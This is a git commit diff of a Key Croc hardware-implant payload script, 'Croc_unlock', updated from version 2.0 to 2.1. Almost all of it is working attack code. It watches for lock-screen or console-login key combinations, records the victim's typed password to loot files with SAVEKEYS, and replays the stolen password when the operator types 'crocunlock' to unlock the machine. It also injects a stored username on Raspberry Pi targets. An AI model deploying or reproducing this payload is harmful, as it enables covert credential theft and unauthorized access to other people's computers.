parent
b91cf3ce2a
commit
1c69fa92fb
|
@ -2,18 +2,15 @@
|
|||
# Description: Save target passwd with SAVEKEYS command by pressing GUI-l or CONTROL-ALT-F3
|
||||
# Log in with typing crocunlock, save at /loot/Croc_Pot/Croc_unlock.txt.filtered and /tools/Croc_Pot/Croc_unlock.txt.filtered
|
||||
# Author: Spywill / RootJunky
|
||||
# Version: 2.0
|
||||
# Version: 2.1
|
||||
# Category: Key Croc
|
||||
|
||||
MATCH (crocunlock|GUI-l|CONTROL-ALT-F3)
|
||||
|
||||
UNLOCK_TMP="/tmp/unlock_Count.txt"
|
||||
|
||||
if [[ -d "/root/udisk/loot/Croc_Pot" && "/root/udisk/tools/Croc_Pot" ]]; then
|
||||
LED B
|
||||
else
|
||||
mkdir -p /root/udisk/loot/Croc_Pot /root/udisk/tools/Croc_Pot
|
||||
fi
|
||||
CROC_POT_DIR=(/root/udisk/loot/Croc_Pot /root/udisk/tools/Croc_Pot)
|
||||
for dir in "${CROC_POT_DIR[@]}"; do [[ ! -d "$dir" ]] && mkdir "$dir" || LED B; done
|
||||
|
||||
UNLOCK_FILE() {
|
||||
until [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; do
|
||||
|
@ -25,12 +22,12 @@ UNLOCK_FILE() {
|
|||
}
|
||||
|
||||
UNLOCK_COUNT() {
|
||||
if [ -f ${UNLOCK_TMP} ]; then
|
||||
i=$(sed -n 1p ${UNLOCK_TMP})
|
||||
echo $(( $i + 1 )) > ${UNLOCK_TMP}
|
||||
if [ -f $UNLOCK_TMP ]; then
|
||||
i=$(sed -n 1p $UNLOCK_TMP)
|
||||
echo "$(( $i + 1 ))" > $UNLOCK_TMP
|
||||
RELOAD_PAYLOADS
|
||||
else
|
||||
echo $(( i++ )) > ${UNLOCK_TMP}
|
||||
echo "$(( i++ ))" > $UNLOCK_TMP
|
||||
if [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; then
|
||||
cat /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered >> /root/udisk/loot/Croc_Pot/Croc_unlock.txt.filtered
|
||||
rm -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered /root/udisk/tools/Croc_Pot/Croc_unlock.txt
|
||||
|
@ -40,10 +37,19 @@ UNLOCK_COUNT() {
|
|||
}
|
||||
|
||||
case $LOOT in
|
||||
GUI-l)
|
||||
"GUI-l" | "CONTROL-ALT-F3")
|
||||
UNLOCK_COUNT
|
||||
Q KEYCODE 00,00,2c
|
||||
if [ "$(sed -n 1p ${UNLOCK_TMP})" -eq "0" ]; then
|
||||
Q BACKSPACE
|
||||
if [ "$(sed -n 1p $UNLOCK_TMP)" -eq "0" ]; then
|
||||
if [ "$LOOT" = "CONTROL-ALT-F3" ]; then
|
||||
if [ -f /root/udisk/tools/Croc_Pot/Croc_OS.txt ]; then
|
||||
if [ "$(sed -n 3p /root/udisk/tools/Croc_Pot/Croc_OS.txt)" = "raspberrypi" ]; then
|
||||
Q STRING "$(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)"
|
||||
Q ENTER
|
||||
Q DELAY 1000
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
SAVEKEYS /root/udisk/tools/Croc_Pot/Croc_unlock.txt UNTIL ENTER
|
||||
LED ATTACK
|
||||
UNLOCK_FILE
|
||||
|
@ -51,27 +57,11 @@ SAVEKEYS /root/udisk/tools/Croc_Pot/Croc_unlock.txt UNTIL ENTER
|
|||
RELOAD_PAYLOADS
|
||||
UNLOCK_FILE
|
||||
fi
|
||||
;;
|
||||
CONTROL-ALT-F3)
|
||||
UNLOCK_COUNT
|
||||
if [ "$(sed -n 1p ${UNLOCK_TMP})" -eq "0" ]; then
|
||||
if [ -f /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt ]; then
|
||||
Q STRING "$(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)"
|
||||
Q ENTER
|
||||
Q DELAY 1000
|
||||
SAVEKEYS /root/udisk/tools/Croc_Pot/Croc_unlock.txt UNTIL ENTER
|
||||
LED ATTACK
|
||||
UNLOCK_FILE
|
||||
fi
|
||||
else
|
||||
RELOAD_PAYLOADS
|
||||
UNLOCK_FILE
|
||||
fi
|
||||
;;
|
||||
crocunlock)
|
||||
if [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; then
|
||||
$(sed -i -e 's/'`sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt`'//g' /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered)
|
||||
$(sed -i -e 's/crocunlock//g' /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered)
|
||||
sed -i -e 's/'`sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt`'//g' /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered
|
||||
sed -i -e 's/crocunlock//g' /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered
|
||||
LED G
|
||||
Q BACKSPACE
|
||||
Q BACKSPACE
|
||||
|
|
Loading…
Reference in New Issue